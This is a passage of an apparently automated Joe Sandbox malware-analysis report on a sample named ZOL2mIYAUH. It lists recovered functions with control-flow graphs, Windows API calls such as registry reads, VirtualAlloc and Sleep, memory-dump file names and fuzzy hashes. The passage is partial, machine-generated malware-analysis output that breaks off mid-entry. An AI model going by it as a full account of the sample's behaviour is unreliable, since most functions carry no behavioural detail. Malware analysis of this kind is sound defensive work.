                                                                                                                          • Part of subcall function 00469E90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00469F06
                                                                                                                          • Part of subcall function 00469E90: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00469F95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00469F4F
                                                                                                                          • Part of subcall function 00469E90: RegQueryValueExA.ADVAPI32(?,0046A0FC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00469F95,?,80000001), ref: 00469F6D
                                                                                                                          • Part of subcall function 00469E90: RegCloseKey.ADVAPI32(?,00469F9C,00000000,?,?,00000000,00469F95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00469F8F
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: Open$FileModuleNameQueryValue$Close
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 2796650324-0
                                                                                                                        • Opcode ID: 760b71e1163fb45758f65914c5e85559dd2c83110186ac451cfe18b788eb6e4b
                                                                                                                        • Instruction ID: 81141ce45206bf0361ee6d8f3eb8e9cab298eead2534ccd93600920ad7a8ceb2
                                                                                                                        • Opcode Fuzzy Hash: 760b71e1163fb45758f65914c5e85559dd2c83110186ac451cfe18b788eb6e4b
                                                                                                                        • Instruction Fuzzy Hash: 6EE06D71A002108FDB10DE58C9C1A5737D8AB08754F000956EC54CF38AE3B5DD1097E6
                                                                                                                        Function 0046E068 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 109 46e068-46e075 call 46ddcc 112 46e077-46e081 Module32First 109->112 113 46e082-46e086 109->113
                                                                                                                        APIs
                                                                                                                        • Module32First.KERNEL32(00000000,00000224), ref: 0046E079
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: FirstModule32
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 3757679902-0
                                                                                                                        • Opcode ID: cc0a2f940a341ddcc5ad4a09cc025ce541f6d520f388b4fc20ed6c0e0dff5f34
                                                                                                                        • Instruction ID: 09ed6c9d980f8e2f34329738148c310402041de348a95ba47668f42203249209
                                                                                                                        • Opcode Fuzzy Hash: cc0a2f940a341ddcc5ad4a09cc025ce541f6d520f388b4fc20ed6c0e0dff5f34
                                                                                                                        • Instruction Fuzzy Hash: 32C08CA2B02230578F2076FE2C888C3478CCD492B630404B3B608E3202E2B98C0092E4
                                                                                                                        Function 004674E4 Relevance: 1.3, APIs: 1, Instructions: 54memoryCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 141 4674e4-467528 142 467566-46756c 141->142 143 46756e-467575 142->143 144 46752a-467534 142->144 145 467536 144->145 146 467538-46753c 144->146 145->146 147 467542-467544 146->147 148 46753e 146->148 149 467546-467558 VirtualAlloc 147->149 150 467564 147->150 148->147 149->150 151 46755a-467562 149->151 150->142 151->143
                                                                                                                        APIs
                                                                                                                        • VirtualAlloc.KERNEL32(040F0000,?,00001000,00000004), ref: 00467551
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: AllocVirtual
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 4275171209-0
                                                                                                                        • Opcode ID: 52454b17c1cde31d4e9a86ed69fc9e745bbb3e98bb4634a1a11591ae600e0e48
                                                                                                                        • Instruction ID: c036b3ef0f6faee6d7f249a6d6aa939160ecc33e65d4c2741761bdccfcfb5f16
                                                                                                                        • Opcode Fuzzy Hash: 52454b17c1cde31d4e9a86ed69fc9e745bbb3e98bb4634a1a11591ae600e0e48
                                                                                                                        • Instruction Fuzzy Hash: CB11A072A09701AFC310CF29CC80A1BB7E1EBC4764F15C56EE59987764E234AC408A8A
                                                                                                                        Function 0046E414 Relevance: 1.3, APIs: 1, Instructions: 6sleepCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 152 46e414-46e415 153 46e417-46e426 call 46e328 Sleep 152->153
                                                                                                                        APIs
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: Sleep
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 3472027048-0
                                                                                                                        • Opcode ID: 42e68fbb9bc84cf81d20181282d0b43f546701c63c79c594c64e13ef78d31a55
                                                                                                                        • Instruction ID: 213358bf723807d426200a7f3900c5368ae61e807fcaabaed3ee656400a26036
                                                                                                                        • Opcode Fuzzy Hash: 42e68fbb9bc84cf81d20181282d0b43f546701c63c79c594c64e13ef78d31a55
                                                                                                                        • Instruction Fuzzy Hash: D1A00108A8C75859A84032A7484BAA971E88A16B29E90152B6A59276C33C8D788154AF
                                                                                                                        Function 045EAF5C Relevance: .5, Instructions: 460COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 212 45eaf5c-45eb28a 213 45eb28f-45eb292 212->213 214 45eb32e 213->214 215 45eb298 213->215 216 45eb333-45eb348 214->216 215->214 217 45eb29f 215->217 218 45eb2cf-45eb309 call 45e80f8 * 2 call 45eb392 215->218 219 45eb2bd-45eb2c1 215->219 220 45eb2c2-45eb2cd 215->220 221 45eb34a 216->221 222 45eb351-45eb362 216->222 224 45eb2a9-45eb2b7 217->224 231 45eb30f-45eb320 218->231 220->216 221->214 221->218 221->219 222->213 225 45eb368 222->225 224->213 227 45eb2b9-45eb2bb 224->227 225->213 227->213 231->213 232 45eb326-45eb329 231->232 232->213
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c72b1dcbb19a99f7265c487685640eac2b5355b444bfe61ed5b213c2878e847c
                                                                                                                        • Instruction ID: 9f51b0a40e11641af1ad72497e4a70c1f3f60156029171dbbad3780b8691e4e1
                                                                                                                        • Opcode Fuzzy Hash: c72b1dcbb19a99f7265c487685640eac2b5355b444bfe61ed5b213c2878e847c
                                                                                                                        • Instruction Fuzzy Hash: EA210831B081108FE348CF2AD456BB9B7A7BBC9711F05C8B6E006CB281DE357C459755
                                                                                                                        Function 045E80F8 Relevance: .2, Instructions: 241COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 359 45e80f8-45e811c 360 45e811e-45e8172 call 45e8650 359->360 361 45e8178-45e817f 359->361 360->361 362 45e81f2-45e8203 361->362 363 45e8181-45e81e6 361->363 364 45e820a-45e822c 362->364 365 45e8205 362->365 397 45e8398-45e83eb 363->397 399 45e81ec 363->399 373 45e822e-45e8237 364->373 374 45e829b-45e8330 call 45e0a00 364->374 365->364 377 45e8239-45e823e 373->377 378 45e8246-45e824c 373->378 390 45e8351-45e8357 374->390 377->378 381 45e834c 378->381 382 45e8252-45e8256 378->382 381->390 382->374 385 45e8258-45e8261 382->385 387 45e8263-45e8268 385->387 388 45e8270-45e8276 385->388 387->388 388->381 392 45e827c-45e8296 388->392 393 45e8359 390->393 394 45e8361 390->394 392->390 393->394 394->397 407 45e83f0-45e83f5 397->407 399->362 408 45e83fb-45e8456 407->408 409 45e9ea6-45e9eaa 407->409 408->407 411 45ea4e0-45ea513 409->411 412 45e9eb0-45e9ebb 409->412 412->407
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: d41aeedceca58963cc2089dc3f92837e43f13ce9687a7c74f160132f3037f40c
                                                                                                                        • Instruction ID: c8d2f695237554274104fd8c4451646c725e084b4241fa9e40b9bca4cb63d384
                                                                                                                        • Opcode Fuzzy Hash: d41aeedceca58963cc2089dc3f92837e43f13ce9687a7c74f160132f3037f40c
                                                                                                                        • Instruction Fuzzy Hash: 6791B630A006108FD728EF69D491AAABFF2FF89310F118569D4569B391DB71EC06DFA1
                                                                                                                        Function 045E80E8 Relevance: .1, Instructions: 130COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: ae7438b17097603061fd4d868f7347e80cba2ea4c430c28583e6caa3c5b51706
                                                                                                                        • Instruction ID: 88e8485d04057db4a3ebf6a8e59f9ff96cf7616031cdd82559774bd7303e363b
                                                                                                                        • Opcode Fuzzy Hash: ae7438b17097603061fd4d868f7347e80cba2ea4c430c28583e6caa3c5b51706
                                                                                                                        • Instruction Fuzzy Hash: 1C516170A006018FC728EF2AD58496DBBF2BF88350B55C968D456AB361DB31FC06DFA1
                                                                                                                        Function 045E08E0 Relevance: .1, Instructions: 78COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: a007c3ef2430dd4db44f2e027f885454c4c2543b96db474b010572ac9b2afb17
                                                                                                                        • Instruction ID: e4bda72aa2eb2581707da4e180b298cdbc87ff05f5627c622e89349d00f11f1f
                                                                                                                        • Opcode Fuzzy Hash: a007c3ef2430dd4db44f2e027f885454c4c2543b96db474b010572ac9b2afb17
                                                                                                                        • Instruction Fuzzy Hash: 33219D30F083648FE7198B3888107BE7FB0EB42710F144AAAD355DB2D2D6749D069382
                                                                                                                        Function 045E2D51 Relevance: .1, Instructions: 77COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 8541c52fbbeef2598ec8ab4fb43aeb24a9790c68c8e8bddc19ddd17fc49fdeed
                                                                                                                        • Instruction ID: 69d7717db78a78ab69b124b6474c17e906238d7030d9143008ba0f454c8a8114
                                                                                                                        • Opcode Fuzzy Hash: 8541c52fbbeef2598ec8ab4fb43aeb24a9790c68c8e8bddc19ddd17fc49fdeed
                                                                                                                        • Instruction Fuzzy Hash: 8421B4357046108BD318CF1BD540AB2B7EBF7C0310F08CAB6F1058B699E779E946BA91
                                                                                                                        Function 045E4AE0 Relevance: .1, Instructions: 74COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1978338b3dd24b3e336d1bc5191538e8e55e152689784c8e7e790727ee304f1a
                                                                                                                        • Instruction ID: c0a3dbac0b4efa6a41a6290da2ac4ce009b8ae22f31b00c04b460bd30004fa28
                                                                                                                        • Opcode Fuzzy Hash: 1978338b3dd24b3e336d1bc5191538e8e55e152689784c8e7e790727ee304f1a
                                                                                                                        • Instruction Fuzzy Hash: BB21B831B08101CFDB18CE1BDC41B7ABBEAFBC6311F15C962D0068B255E770A946EB51
                                                                                                                        Function 045E4AF0 Relevance: .1, Instructions: 73COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c74abdf6e0831a88e9f11673ced7ee9bc2a3e2adfa9467bb93c139cf135e0cdd
                                                                                                                        • Instruction ID: ceb9dc29accc4e28851777540c6357c2cae042ae6c94fb80320baae110313640
                                                                                                                        • Opcode Fuzzy Hash: c74abdf6e0831a88e9f11673ced7ee9bc2a3e2adfa9467bb93c139cf135e0cdd
                                                                                                                        • Instruction Fuzzy Hash: 4C217431B14100CBEB18CE1BDC40B7AB7EAFBC6212F55C922E0068B254E775A945EB51
                                                                                                                        Function 045E4C20 Relevance: .1, Instructions: 63COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: ce48658d88faa1ecd0abdc883c9b5295d71532b688ff04e9bd0c64c11299b364
                                                                                                                        • Instruction ID: 4aec1dbfe353213b583dbec53cfe466643a25113b41136632981f8e0a30263d2
                                                                                                                        • Opcode Fuzzy Hash: ce48658d88faa1ecd0abdc883c9b5295d71532b688ff04e9bd0c64c11299b364
                                                                                                                        • Instruction Fuzzy Hash: BE110430B081448BE31C9E27A940737B7E3F7CA310F19C9B6E14E87655DA34AC06A615
                                                                                                                        Function 045EB280 Relevance: .1, Instructions: 63COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 775551b5f1b0f4e2b7bf385fa3ebfeb05bcd14cf06efee9f3c9262028aafcc23
                                                                                                                        • Instruction ID: 97d70246426754c6a84268687be1788a0e883d8777517cf4f57296af901b23d2
                                                                                                                        • Opcode Fuzzy Hash: 775551b5f1b0f4e2b7bf385fa3ebfeb05bcd14cf06efee9f3c9262028aafcc23
                                                                                                                        • Instruction Fuzzy Hash: E611AF30B08111CBE35CDF1AD449B7AB7A7BBC8712F44C8B5E00A8B281DE36B844A665
                                                                                                                        Function 045E0839 Relevance: .0, Instructions: 42COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 6dbc3291a556b227392bc15feec4b3d81a4500298f5f799e856c303fe48aa8a2
                                                                                                                        • Instruction ID: 661e0c0c75dc1a284550036e41134ec93727cc6ede6f896529593609fa038aae
                                                                                                                        • Opcode Fuzzy Hash: 6dbc3291a556b227392bc15feec4b3d81a4500298f5f799e856c303fe48aa8a2
                                                                                                                        • Instruction Fuzzy Hash: E3019230E0D154DFD308DFA6D1683AABBB2FB41740F21C8E9D00987290EAB46906FF81
                                                                                                                        Function 045E0848 Relevance: .0, Instructions: 38COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 482cc55d170629addf518afda6084dbb1250a69139fb1ad43ceec8cfc9845ef8
                                                                                                                        • Instruction ID: 8640d6571e57c9c4d163c3fb82c315dce554db42f850030bf6619a8198964fa2
                                                                                                                        • Opcode Fuzzy Hash: 482cc55d170629addf518afda6084dbb1250a69139fb1ad43ceec8cfc9845ef8
                                                                                                                        • Instruction Fuzzy Hash: C2014470E0D118DBD708DF9AE12477AB7B2FB40B44F20C898D01687280E7B56942BF91
                                                                                                                        Function 045E7551 Relevance: .0, Instructions: 25COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
